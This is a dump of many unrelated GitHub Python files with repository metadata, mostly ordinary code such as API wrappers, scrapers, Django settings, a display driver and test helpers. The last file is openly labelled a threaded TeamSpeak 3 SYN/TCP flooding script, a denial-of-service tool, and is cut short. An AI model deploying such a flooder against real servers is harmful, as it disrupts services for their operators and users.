01546daeac217a5c225258efff378b7d9a7da2b1 | e41651d8f9b5d260b800136672c70cb85c3b80ff | /Notification_System/temboo/Library/Yelp/SearchForBusiness.py | 1c3fc99c24d7c29ab3d39126b3e66458540807c7 | [] | no_license | shriswissfed/GPS-tracking-system | 43e667fe3d00aa8e65e86d50a4f776fcb06e8c5c | 1c5e90a483386bd2e5c5f48f7c5b306cd5f17965 | refs/heads/master | 2020-05-23T03:06:46.484473 | 2018-10-03T08:50:00 | 2018-10-03T08:50:00 | 55,578,217 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,654 | py | # -*- coding: utf-8 -*-
###############################################################################
#
# SearchForBusiness
# Retrieves information for a given business id or name.
#
# Python versions 2.6, 2.7, 3.x
#
# Copyright 2014, Temboo Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# ... | [
"shriswissfed@gmail.com"
] | shriswissfed@gmail.com |
00e66011806f374ea269c19ae80655b8553ef8c5 | 10834a9a7b278a2823618411602f3f6111cd5597 | /BeautyTest.py | 7e271ec048b13941c71ebd3f28de6d174449336e | [] | no_license | bradstevens730/CS329e-Spring-2016 | e2c3d9a4d7a17252087a5947a30a485b6602e3c3 | bb9d038af65beb78d347fdfa364cd856d23d3d7f | refs/heads/master | 2021-01-10T14:19:10.350391 | 2016-05-05T11:22:57 | 2016-05-05T11:22:57 | 55,105,696 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 999 | py | import requests
from bs4 import BeautifulSoup
outFile=open('mainFile','w')
outFile.close()
outFile=open('mainFile','a')
def gearLightInfo():
gearLight = requests.get("http://www.hdgear.tv/LIGHTING")
soupGearLight = BeautifulSoup(gearLight.content,"html.parser")
pricelist = []
gLightProdPrice = soupGearLight.f... | [
"nickolas.grisham@gmail.com"
] | nickolas.grisham@gmail.com |
879f3ff6a37292bbd202f160cde99520b8b171f3 | ca6bceebcb33e002863efc0044d01d9237860c83 | /server/clock.py | 151051c8fdbb2db811e182265f6bb6e2343db421 | [] | no_license | dittosayan/url-shortener | bc9e9d898ab751338118cd8191e63e2aab95525a | 11d1eb775c82169c759547cc5804b4126a7a9abb | refs/heads/main | 2023-04-18T16:27:04.485965 | 2021-05-09T12:01:36 | 2021-05-09T12:01:36 | 365,483,058 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 756 | py | from apscheduler.schedulers.blocking import BlockingScheduler
import string
import secrets
from pymongo import MongoClient
sched = BlockingScheduler()
# @sched.scheduled_job('interval', minutes=3)
# def timed_job():
# print('This job is run every three minutes.')
@sched.scheduled_job('cron', day_of_week='fri', h... | [
"manish10726@gmail.com"
] | manish10726@gmail.com |
d84788c23ba61bf8fc1d407cb21287946715c7ee | 0be4e42ea2a6f66c7a170b1b558b60b3e69167e6 | /urHct/UR/camRobot/RobotArm/no_cam_with_voice03.py | cfbeb1a7aa7e7ed4ccab21b0d618d26bd05b55df | [] | no_license | oseongjin/urHCT | 0e249040d6c587ebd7cd768114ff4bbb85cce5fe | c9607f67f078b046dfef28d65e2a8e9f6fdea00c | refs/heads/master | 2023-02-19T03:30:18.156602 | 2021-01-18T03:31:32 | 2021-01-18T03:31:32 | 330,543,470 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 15,242 | py | """
Face_tracking01
Python program for realtime face tracking of a Universal Robot (tested with UR5cb)
see here for a demonstration: https://youtu.be/HHb-5dZoPFQ
Created by Robin Godwyll
License: GPL v3 https://www.gnu.org/licenses/gpl-3.0.en.html
"""
#______MEMEO__________ : set detection distance change short_____... | [
"ooohhhjim@naver.com"
] | ooohhhjim@naver.com |
fb87cd5632acb3820e4ec3868e5b7df452ef0885 | 1493a7688d97fd1dc7c2b74d88ec8db2947d9ccc | /parameter_tuning.py | af9a2b27c0c5a67d08487b1919e30d57346b2ed0 | [] | no_license | xsetra/muzik-bestecisi | 7a2887e9ec3253bd93c4ee5db3e375de2720b984 | 942c3fa6ed91468f514f0026aebfc31c80aa1a71 | refs/heads/master | 2020-04-07T08:24:37.680959 | 2018-12-10T21:11:35 | 2018-12-10T21:11:35 | 158,212,511 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,443 | py | # -*- coding: utf-8 -*-
from generate_model import LSTMTrain, LSTMPredict
from prettytable import PrettyTable
from termcolor import colored
import time
if __name__ == '__main__':
table = PrettyTable()
table.field_names = ['Epoch', 'Batch Size', 'Sequence Length', 'Model', 'Music', 'Elapsed']
tic, toc = N... | [
"abdullahcaliskan511@gmail.com"
] | abdullahcaliskan511@gmail.com |
85b6abf1b9ef048fc068960c9693e291e6cf652f | 64be995f9d130734f618c3b87cd8b3d5539b2f54 | /djangoProject10/settings.py | db08d5da5ff1cf88d49d58f48ccaf5e450c26ce1 | [] | no_license | escuelainformatica/djangojavascript | ddf9f015a5b3e447d80148d8a398170fdb6eb8b4 | 87b6b9f9461c3b6b69b3ff95c9b8bc874a28f7b1 | refs/heads/main | 2023-08-30T06:12:50.728140 | 2021-10-20T23:00:27 | 2021-10-20T23:00:27 | 418,694,118 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,338 | py | """
Django settings for djangoProject10 project.
Generated by 'django-admin startproject' using Django 3.2.8.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.2/ref/settings/
"""
from... | [
"jorge.castro.c@gmail.com"
] | jorge.castro.c@gmail.com |
ba0d4d1696c305f2fc7adf9413590630f0157adb | 409d0fac6c50ecb0b087be00d0a43802b3cb9d30 | /hdcs_manager/source/hsm/hsm/tests/api/fakes.py | b32e2f56d75c05c0e6f0762c92d9987ea2426b81 | [
"Apache-2.0"
] | permissive | xuechendi/HDCS | a5f5ac62c9da063359c173c352f4f484ba4d7cdb | 4ce169d5be1c3e8614e5e6f198d3593eb904b97d | refs/heads/master | 2021-01-15T22:18:59.554181 | 2017-07-05T13:03:57 | 2017-07-05T13:03:57 | 99,896,630 | 1 | 1 | null | 2017-08-10T07:51:52 | 2017-08-10T07:51:52 | null | UTF-8 | Python | false | false | 780 | py |
import webob
import webob.dec
import webob.request
from hsm.api.openstack import wsgi as os_wsgi
from hsm import context
class FakeRequestContext(context.RequestContext):
def __init__(self, *args, **kwargs):
kwargs['auth_token'] = kwargs.get('auth_token', 'fake_auth_token')
super(FakeRequestCont... | [
"yuan.zhou@intel.com"
] | yuan.zhou@intel.com |
012d29869bd3034d084d387b7634838e3db18ea7 | d8e95cc6c6d6fdc1831a23cf0bde78a3d80c627a | /Quokka Dash/drivers/ssd1306.py | 71a608bd09f4422d48d8bd2389230e0fb257e317 | [] | no_license | ncss/projects-2018-9 | 6cf019200368cc884fc2c1dfa2c39591bb94df8c | df5009726b6795f87abcb8393366a1121d40f6b9 | refs/heads/master | 2021-09-29T09:29:19.305352 | 2018-11-24T03:08:58 | 2018-11-24T03:08:58 | 114,090,258 | 1 | 2 | null | null | null | null | UTF-8 | Python | false | false | 4,058 | py | # https://github.com/micropython/micropython/blob/master/drivers/display/ssd1306.py
from micropython import const
import framebuf
SET_CONTRAST = const(0x81)
SET_ENTIRE_ON = const(0xa4)
SET_NORM_INV = const(0xa6)
SET_DISP = const(0xae)
SET_MEM_ADDR = const(0x20)
SET_COL_ADDR ... | [
"cgri0612@SHARED.SYDNEY.EDU.AU"
] | cgri0612@SHARED.SYDNEY.EDU.AU |
f737d412419c6267aa25b0a910f484322f219b60 | e2feda1b6bc75274b1ed4a7bb3f79b5b485cd0fc | /assist-nlp-patch-1/assist_classifier/scripts/logger.py | 77a617bd1988110d490669fef57cbe63b7069a22 | [] | no_license | aidilab-ai/ASSIST | fd662a9ff0bb2779614b34a206dffc93731238ac | 6522fff2789b4d4aae52c19a2add3fd04a48631f | refs/heads/master | 2022-11-13T20:23:05.659041 | 2020-06-23T10:35:08 | 2020-06-23T10:35:08 | 274,373,035 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 823 | py | import logging
import logging.handlers as handlers
import os
#
def getLogger(name):
return logging.getLogger(name)
def configureLogger(logger, customer, mode):
dir_path = os.path.dirname(os.path.realpath(__file__))
logCustomer = dir_path + '/log/log_' + mode + '_' + customer + '.log'
logger.setLevel(logging.INFO)... | [
"f.cariaggi4@gmail.com"
] | f.cariaggi4@gmail.com |
5e68c8b7f471430bae83aa8a05982434743573da | 73ebbc5a544002a3bae7f40411c72d5dbabf2dde | /36.py | 469fb626a44f781b375ff25283a83db39e7415ba | [] | no_license | arviinnd-5989/Bokeh-tutorial | 483cfa5ed0e0944a4abda0692179a4c8275abffc | 06751f5c5d9a42eaa224c35b570c2f68afe41fea | refs/heads/master | 2023-05-08T11:21:59.887585 | 2021-05-28T09:08:26 | 2021-05-28T09:08:26 | 371,643,583 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 195 | py | from bokeh.plotting import figure
from bokeh.embed import json_item
import json
fig = figure()
fig.line([1,2,3,4,5], [3,4,5,2,3])
item_text = json.dumps(json_item(fig, "myplot"))
print(item_text) | [
"arvindn.iitkgp@gmail.com"
] | arvindn.iitkgp@gmail.com |
1036bb79873110482dae2e7d10cdadd99c7a917a | 362576b2485a46cc23fff87e22e2abf44d6d8ba9 | /wallet.py | 75f6e60e8447eac020083441479ccc6177c4248c | [
"MIT"
] | permissive | aliakseikazak/python_blockchain | 1389e4719c029eb1b5990d52f2de95abb10e671a | 8714ad459c224458def64ab67dc13d5b4c76d9db | refs/heads/master | 2020-04-16T18:27:24.475474 | 2019-10-02T09:30:21 | 2019-10-02T09:30:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,308 | py | from Cryptodome.PublicKey import RSA
from Cryptodome.Signature import PKCS1_v1_5
from Cryptodome.Hash import SHA3_256
import Cryptodome.Random
import binascii
class Wallet:
def __init__(self, node_id):
"""Creates, loads and holds private and public keys. Manages transaction
signing and verific... | [
"a.kazak@pixelplex.io"
] | a.kazak@pixelplex.io |
121dfd221a31fa876d6f13b4cfb5a6c07d2d0e99 | 370973797b3fbf7560afca238016ded6680efe7f | /main.py | 7aef9ae6598a594d277a15f65dcbe54fc2dd5e6d | [] | no_license | yleemichael/ReadyResponderTreeHacks | a37efdf6d831ad287a00137ec93b36c9b73c8aff | efa4a1c6d7cd8bfab562ff29c47c9c5fe2cc0eb3 | refs/heads/master | 2020-04-23T11:52:22.902731 | 2019-02-18T20:19:30 | 2019-02-18T20:19:30 | 171,150,595 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 9,309 | py | import random
import pandas as pd
from haversine import haversine
import math
from operator import itemgetter
def pass_through(a):
return a
def sin(a):
return math.sin(a)
def cos(a):
return math.cos(a)
def add(coeff1, func1, x, coeff2, func2, y):
return coeff1 * func1(x) + coeff2 * func2(y)
def sub... | [
"noreply@github.com"
] | yleemichael.noreply@github.com |
2df038e4cf1c2ec2746999fc1b87d64d610b8b04 | f846b6997562165df3a0463bad9728395db5ec8e | /app/pages/base/page.py | 3e373cfaa83b3e524d2f0c6abd32e23c5efaa536 | [] | no_license | gonza56d/burner | 9f687485a4728bcbc85e1fc5918be2eeed4fc8f8 | c21f4d17215b47c3a8bfba460daf71505185b568 | refs/heads/master | 2023-08-04T17:27:11.883836 | 2021-07-04T21:26:08 | 2021-07-04T21:26:08 | 408,569,193 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,077 | py | # Python
from abc import ABC, abstractmethod
from typing import Generator
class BasePage(ABC):
"""Abstract class that implements how to get and store the data regarding
subclass attributes.
"""
@abstractmethod
def get_page_name(self) -> str:
"""Implement the name of the page to store resu... | [
"gonza56d@gmail.com"
] | gonza56d@gmail.com |
69b966ca230e4eeb816349faf7786662195ec59b | d571d407cfda435fcab8b7ccadb1be812c7047c7 | /guild/commands/archive.py | 6489b2e4aaf8beafcbf346f9c3110afcc7cbde01 | [
"Apache-2.0",
"LicenseRef-scancode-free-unknown"
] | permissive | guildai/guildai | 2d8661a2a6bf0d1ced6334095c8bf5a8e391d8af | 149055da49f57eaf4aec418f2e339c8905c1f02f | refs/heads/main | 2023-08-25T10:09:58.560059 | 2023-08-12T20:19:05 | 2023-08-12T20:19:05 | 105,057,392 | 833 | 86 | Apache-2.0 | 2023-08-07T19:34:27 | 2017-09-27T18:57:50 | Python | UTF-8 | Python | false | false | 896 | py | # Copyright 2017-2023 Posit Software, PBC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in ... | [
"garrett@placeon.earth"
] | garrett@placeon.earth |
6e8c4b912b4d24612e702fb71d21bd1cb9d4d22d | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_248/ch153_2020_04_13_20_48_31_775267.py | e5e5b914943c693b478c062703701e840b52b37b | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 400 | py | def agrupa_por_idade(dic):
dic={'João': 10, 'Maria': 8, 'Miguel': 20, 'Helena': 67, 'Alice': 50}
dic2={}
k=dic.values()
for i in k:
if i<=11:
dic2[i]='criança'
elif i>11 and i<18:
dic2[i]='adolescente'
elif i>17 and i<60:
dic2[i]='adulto'
... | [
"you@example.com"
] | you@example.com |
2fe2e8b7a7687ebcd30ea70ce33d4a06e0b6576b | 201f8b9b10944aa13b5b81d8d44b178c19270220 | /venv/bin/pip | 0510e8ab358ab8fb87768f5e118b8d1e64009466 | [] | no_license | rehakui/inote | 1675197b0b5d9c747ef318139e496426e74bfedc | 667a4af3e2529abf6815e005b4f15781eb24f68e | refs/heads/master | 2020-08-01T12:07:20.275327 | 2019-09-26T03:26:26 | 2019-09-26T03:26:26 | 210,991,674 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 408 | #!/Users/ryotakojima/PycharmProjects/pydjango/venv/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
... | [
"khriverny97@outlook.jp"
] | khriverny97@outlook.jp | |
af9ccd3a503155231d35b3dbb9aeccc50001bbc8 | 08d3626642ac8175abdf2e25bcd85c56dd54db2a | /ImageCrawl/spiders/GoogleSearch_spider.py | bd9e77985b935f0aa90e5e84b4be51ea7a7002a1 | [] | no_license | william-r-austin/ImageClassification | 06233b6fb094e5c94fdd808d1412584d3bb8b3fd | 500ff8a6861a5a6af0efcfc117079639efe72ee4 | refs/heads/master | 2021-01-19T10:15:10.108657 | 2017-04-26T19:02:09 | 2017-04-26T19:02:09 | 87,844,228 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,014 | py | import scrapy
import urllib
from ImageCrawl.items import ImagecrawlItem
import json
class GoogleSearchSpider(scrapy.Spider):
name = "GoogleSearch"
key_word = 'mustang'
page_cnt = 3 # return count=page_cnt*rsz
params = {
'v': '1.0',
'q': key_word,
'rsz': 8, # range... | [
"william.r.austin@gmail.com"
] | william.r.austin@gmail.com |
dc8e0cc3318ca13491cad2a0c01448956a423356 | 06f6472294c5b1794bcb64190db630fb851f6749 | /crud/settings.py | a3697c6977937e8f188f4d6eca8b629a2c15a768 | [] | no_license | AkshayMarutiPatil/CRUD_PROJECT | 5aa0beafdea551b51be24490db58e74bb6511e2a | ce12134550eb1b0f2fd111116e0b091a20552d36 | refs/heads/master | 2023-07-03T23:51:08.595453 | 2021-07-26T03:20:24 | 2021-07-26T03:20:24 | 388,334,148 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,278 | py | """
Django settings for crud project.
Generated by 'django-admin startproject' using Django 3.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
from pathlib im... | [
"patilap.444@gmail.com"
] | patilap.444@gmail.com |
a76cf104e7efea86e01ae53670fb75a80b84f573 | b30dfe4c803f78745860a78550230afab9c09050 | /mysite/myapp/admin.py | 4d492b8c29faaafc0fda04ebab41d32ed6177f53 | [] | no_license | floop-floopian/Cryptocurrency_Calculator | ce69e8066651d4eeb4ab3c45513f8f2def92825d | c49c1b0b610bef99a3a72584e58813380533f041 | refs/heads/master | 2021-08-24T01:34:19.899642 | 2017-12-07T13:32:44 | 2017-12-07T13:32:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 201 | py | from django.contrib import admin
from .models import GPU, CPU, RAM, PS
# Register your models here.
admin.site.register(GPU)
admin.site.register(CPU)
admin.site.register(RAM)
admin.site.register(PS)
| [
"ad150k5@gmail.com"
] | ad150k5@gmail.com |
fe95c9cb17f5f2502e2ee05214aa914d962e888e | 6a6b77b441c6e848d1dc8beabdebea17ff7330ac | /Codekata/Array-max.py | d9e78cd33df1f771dcaf1047d1ceba3a74e3e797 | [] | no_license | Radhika-M/guvi | 7611cd9cbe1666ea0c46ea14525fb37f69c344a3 | d54f95eb26825222c1e69d133481880b7dca23ba | refs/heads/master | 2020-06-03T00:08:03.914688 | 2019-07-09T12:44:15 | 2019-07-09T12:44:15 | 191,355,093 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 70 | py | m = int(input())
larg=list(map(int,input().split()))
print(max(larg))
| [
"noreply@github.com"
] | Radhika-M.noreply@github.com |
4d4fd8df7754b91edd07d67767acf1726ed331c5 | 814aa4468381264bbb8e063611731d120411266e | /2017/day23.py | a133d4f5d5436364b7fded8abe2066a2628dc01c | [] | no_license | phongvis/aoc | 1358c1f9f2197c2675e66ac0698b7b3a7af1a0ff | f97cffbd8a96fd12d484d76985924b279d667926 | refs/heads/master | 2020-06-14T20:59:09.193156 | 2017-12-24T22:59:54 | 2017-12-24T22:59:54 | 75,340,124 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,036 | py | import re
import itertools
from collections import Counter, defaultdict, deque
# Part 1
def solve(code, regs):
def val(x):
return regs[x] if x.isalpha() else int(x)
pc = 0
count = 0
while pc < len(code):
op, x, y = tuple(code[pc])
pc += 1
if op == 'set':
r... | [
"phongvis"
] | phongvis |
989f1ad768f48f50694a33f86d2df5993591a6e9 | ecb113be53f2fe1768e85a1004d571c74d87ae8d | /dependencies/python/fmlaas/controller/utils/__init__.py | 026fae5f9152e209282ffcd908838d20a86ab5af | [] | no_license | Internet-SmokeAlarm/core | 39351e4d5bddf19bd59faf51bbc225c0e0521905 | 87b66a10042ec41916c490bb20cb4117f3caf1ba | refs/heads/master | 2023-02-17T18:40:12.822530 | 2020-07-05T20:28:38 | 2020-07-05T20:28:38 | 216,093,027 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 100 | py | from .project_operations import update_experiment
from .project_operations import termination_check
| [
"valetolpegin@gmail.com"
] | valetolpegin@gmail.com |
c78a640b1466e2cdc47b62ab34bb24cc6d6bc977 | 38fa6f2182f5412f8b20013d52e6a29aed720661 | /blogDemo/mysite/mysite/settings.py | 4d9c8ebeb4f70e4ed840fd61b1cb20bbe123c82e | [] | no_license | dreamtiger2016/blogDemo20160117 | abba9026a788e89052fda099df0b0083ef0c8f92 | 8ad49ab5fb251ad3f28f0094065c20d3b95c9e0b | refs/heads/master | 2021-01-10T12:18:54.391424 | 2016-01-17T15:12:09 | 2016-01-17T15:12:09 | 49,822,297 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,187 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 1.9.1.
For more information on this file, see
https://docs.djangoproject.com/en/1.9/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.9/ref/settings/
"""
import os
# ... | [
"312656315@qq.com"
] | 312656315@qq.com |
a13090e72f2f244bcb3ccd776e7dee54df3c55e2 | 707287238a36b8e5f3e26c347cca580549b441e5 | /combgen/gray_graph/multiradix.py | 9128fc33cef7e9711baa3cb63173e8f51a80e05a | [] | no_license | sahands/coroutine-generation | 2a01e3c5a36fc6b82d8087a15591a452e4bca636 | f0b318016b8925b2ab16640a588210548f7989db | refs/heads/master | 2016-09-06T04:54:02.453166 | 2015-01-06T21:32:58 | 2015-01-06T21:32:58 | 17,954,406 | 8 | 3 | null | null | null | null | UTF-8 | Python | false | false | 526 | py | from combgen.multiradix_gray.coroutine import gen_all
from .grapher import generate_pgf_gray_graph
def dist(a, b):
return sum(abs(x - y) for x, y in zip(a, b))
def neighbour(u, v):
return dist(u, v) == 1
def to_str(a):
return '"${}$"'.format(''.join(str(x) for x in a))
def main():
M = [3, 2, 3]
... | [
"sahands@gmail.com"
] | sahands@gmail.com |
0ccc67ad1fb04469ff08da9bd5f6c0209718d728 | cac9947cec2aace94fb4a7c69fd32654bb53e853 | /bin/qr | 56709d197d5f6784415fb47f7327c01facbaa6e7 | [
"BSD-3-Clause"
] | permissive | nguyentranhoan/uit-mobile | 7bc1a020251ca583fe11cf1f729630466203537a | 8546312b01373d94cf00c64f7eacb769e0f4ccce | refs/heads/master | 2023-01-05T03:29:54.732892 | 2020-04-08T07:14:32 | 2020-04-08T07:14:32 | 235,015,840 | 0 | 0 | BSD-3-Clause | 2022-12-27T15:35:57 | 2020-01-20T04:04:47 | Python | UTF-8 | Python | false | false | 251 | #!/home/jay/Desktop/uit/uit_mobile/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from qrcode.console_scripts import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"nguyentranhoan.mr@gmail.com"
] | nguyentranhoan.mr@gmail.com | |
df94a3aee5b666e7f7de868cf7f4115646df7570 | 3a622d275c968f417eb2f78ce241e99eeb387b30 | /test/common_methods_invocations.py | c4e2d9ea3433f76bf4de644f8269b5992d8f6df3 | [
"BSD-2-Clause",
"BSD-3-Clause",
"LicenseRef-scancode-generic-cla",
"Apache-2.0"
] | permissive | weihuangxu/pytorch | 232e495df8c8e64a2985bdc0d7ab6d8d8f64799f | 4928c7641540c21e40e845c9383681b16093bf1f | refs/heads/master | 2020-04-12T07:55:31.524624 | 2018-12-19T02:23:55 | 2018-12-19T02:26:37 | 162,375,527 | 0 | 0 | NOASSERTION | 2018-12-19T03:04:28 | 2018-12-19T03:04:28 | null | UTF-8 | Python | false | false | 46,996 | py | import torch
from torch._six import inf, nan
from functools import reduce, wraps
from operator import mul, itemgetter
from torch.autograd import Variable, Function, detect_anomaly
from torch.testing import make_non_contiguous
from common_utils import (skipIfNoLapack,
prod_single_zero, random_s... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
8ca6eea86dd1a0afb09b67b294491db27be78070 | 236e7cfe02f939511bd4f00d0ca65460980470db | /think_python/10.tuples/tupsum.py | 573904ed35b226183f3da411aae654805724630f | [] | no_license | satheesh-krishnan/Think_Python | fbb852315581823e42b1ddb76d898108ecc88575 | e853ed9e471ceffadb8c4fe4375df56396aed11d | refs/heads/master | 2016-08-05T09:15:10.310986 | 2014-09-30T14:34:41 | 2014-09-30T14:34:41 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 102 | py | def sumall(*t):
d=0
for s in t:
d=d+s
return d
t=(3,4,5,6,7)
f=sumall(*t)
print f
| [
"satheeshkrishnan04@gmail.com"
] | satheeshkrishnan04@gmail.com |
b7a5e69b7f2fe61ac63f316b9653590b36e66ec3 | 8d179300d8583dd9738b6aea821a82803c7f17ea | /iom/iom/admin.py | 0c7cabd4bf5cfe94ca6540a93d582235f908d5e2 | [] | no_license | tkleinen/acaciadata | 4ad10269e79b04febc52f4b5d49b4f4c172df4a5 | f142e9ec0048a2fc6af6bd8d5b357178c0ee93c7 | refs/heads/master | 2020-04-16T00:50:25.354427 | 2016-08-30T11:54:52 | 2016-08-30T11:54:52 | 33,363,185 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 2,861 | py | '''
Created on Jun 16, 2015
@author: theo
'''
from django.contrib import admin
from django import forms
from django.forms import Textarea
from django.contrib.gis.db import models
from .models import UserProfile, Adres, Waarnemer, Meetpunt, Watergang, Organisatie
from acacia.data.models import Series, DataPoint
from d... | [
"tkleinen@gmail.com"
] | tkleinen@gmail.com |
91c0a244608d4ff3c10dbd3325d161e44a2073af | 66ec7a8ef908e75ac22cf66c7afe9a763f460d28 | /CopyBP.py | e9ec723f68494d73b8645940b92dd530ada1e1ff | [] | no_license | FBQingYi/PYR | f28ba75069ed65c34c947eeff113ab774ad1798b | 5a87ef5d072f7042c90326a689a9ec18eb1d5cb8 | refs/heads/master | 2023-06-21T06:38:45.905718 | 2021-08-11T00:30:36 | 2021-08-11T00:30:36 | 357,080,158 | 0 | 0 | null | 2021-08-11T00:30:37 | 2021-04-12T06:19:56 | Python | UTF-8 | Python | false | false | 1,402 | py | import mc
import json
import time
formidlist = [{}]
global lista
def qingyi_comm(e):
if e["cmd"] == '/copybp':
op = e["player"].perm
if op == 1:
qingyi_form1(e)
return False
def qingyi_form1(e):
global lista
lista = playerlist()
formid = e["playe... | [
"noreply@github.com"
] | FBQingYi.noreply@github.com |
e3bd554ad63149e3043d6a8c0f9163f73ce18252 | 1625edfe28b4b0979fd32b4a3c5e55249a993fd5 | /baekjoon4504.py | 487d5335911e971092814510b9c7ce504d665229 | [] | no_license | beOk91/baekjoon2 | b8bf504c506c6278899d4107ecfe51974ef13f5e | 39569f8effb8e32405a7d74d98bdabcab783ec56 | refs/heads/master | 2023-05-11T20:11:19.015113 | 2020-09-14T23:58:49 | 2020-09-14T23:58:49 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 172 | py | n=int(input())
while True:
m=int(input())
if m==0:
break
print(("{} is NOT ".format(m) if m%n!=0 else "{} is ".format(m))+"a multiple of {}.".format(n)) | [
"be_ok91@naver.com"
] | be_ok91@naver.com |
ddda01472619478a7de64f81ece5330f6fcd7792 | 69b0d57e34f483a5439fdbec7ec6977f75297ea5 | /rtfdoc/quickstart.py | ae3a9c66cc67d14469c3a2025884bbe331726af0 | [
"ISC",
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause"
] | permissive | TheLady/rtfdoc | ed0aa17f130a469a363a5c0b282b99bc156869aa | 532fd2b19632bac5c557321f92e893b938d8f56c | refs/heads/master | 2021-01-15T10:17:57.865319 | 2015-07-25T07:58:05 | 2015-07-25T07:58:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,671 | py | import os
import sys
import configparser
from rtfdoc import __version__
config_file_name = 'rtfdoc.conf'
class ValidationError(Exception):
"""Raised for validation errors."""
def nonempty(value):
if not value:
raise ValidationError("Please enter some value.")
return value
def empty(value):
... | [
"gvincent@oslab.fr"
] | gvincent@oslab.fr |
a4b76d946b81c5ec42b7ba8f634fdc38409ceedd | 54b09a85d579d2a0d296a825196f2515da64fec1 | /PROG14.py | b4f341f9919a884fff07d10cb0458361e878f83b | [] | no_license | winan305/Algorithm-with-Python3 | 2c0f51e03b7207eb7b644cecc44aef489e3e6ee2 | 233b0f5687f4d7b1ec7ec4772771503fa85c27ee | refs/heads/master | 2021-01-22T20:49:09.488640 | 2018-05-16T03:52:27 | 2018-05-16T03:52:27 | 100,776,542 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 368 | py | # https://programmers.co.kr/learn/challenge_codes/14
def collatz(num):
answer = 0
while num > 1 and answer < 500 :
print(num)
if num%2 == 0 : num//=2
else : num = num*3+1
answer += 1
return answer if answer < 500 else -1
# 아래는 테스트로 출력해 보기 위한 코드입니다.
print(collatz(10000000000... | [
"winan305"
] | winan305 |
f1f1d7209009ba7c30e5e56a5c1a88a8a7d75083 | 3547e0cb1e15e52f428afd04bc98dd52775c05b0 | /web_socket/routing.py | d2a3b4d703bd04ea8b44bc76cd75fb1412742e1f | [] | no_license | alexkali23/chat_backend | 62790e45b9d87a46d0c0f57f1dfa879288c247a0 | e9df38c97b667fe87cd86d206bede34bb50c2532 | refs/heads/master | 2022-12-18T05:28:53.556748 | 2020-09-07T11:56:29 | 2020-09-07T11:56:29 | 292,797,359 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 225 | py | from django.urls import re_path
from . import consumers
websocket_urlpatterns = [
re_path(r'ws/chat/(?P<room_name>\w+)/$', consumers.ChatConsumer),
re_path(r'ws/personal_channel/', consumers.UserPersonalConsumer),
] | [
"ws-intern@Mac-mini-WebSailors.local"
] | ws-intern@Mac-mini-WebSailors.local |
2a450a1fb4a69748176e88b3ee078fdd24ec3d56 | 89d775685ca3ba815485505cd7280dead381b572 | /scriptss/cnexploitkvnc.py | 78e43a4902a2793017ea441d424aa535f84cd073 | [
"Apache-2.0"
] | permissive | armaleg/a | 36420d11e8c922ef95d1b253efefad957b55ca3f | a004286c36492ab02774890a4a42195eeeb93fd7 | refs/heads/master | 2020-04-10T09:58:40.942078 | 2018-12-08T15:32:46 | 2018-12-08T15:32:46 | 160,952,429 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,790 | py | # TeamSpeak 3 'SYN/TCP' Flooding With Treading By JIEXYN
# Using: /usr/bin/python cnexploit.py
import socket
import threading
import random
class MonitorThread(threading.Thread):
def run(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
... | [
"noreply@github.com"
] | armaleg.noreply@github.com |
